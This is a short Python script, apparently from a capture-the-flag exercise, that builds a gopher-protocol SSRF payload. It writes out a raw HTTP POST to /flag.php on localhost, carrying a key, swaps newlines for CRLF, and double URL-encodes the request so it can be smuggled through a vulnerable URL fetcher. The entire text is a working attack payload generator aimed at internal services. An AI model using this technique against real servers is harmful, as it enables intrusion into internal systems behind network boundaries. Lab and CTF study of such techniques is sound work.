#python 构造gopher
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=eea36ec298b58f269b98395cb45ba0b9
"""
#一次编码
urlStr = urllib.parse.quote(payload)
# %0D%0A 代替回车换行
urlStr = urlStr.replace('%0A','%0D%0A')
# 二次编码
urlStr = urllib.parse.quote(urlStr)
print(urlStr)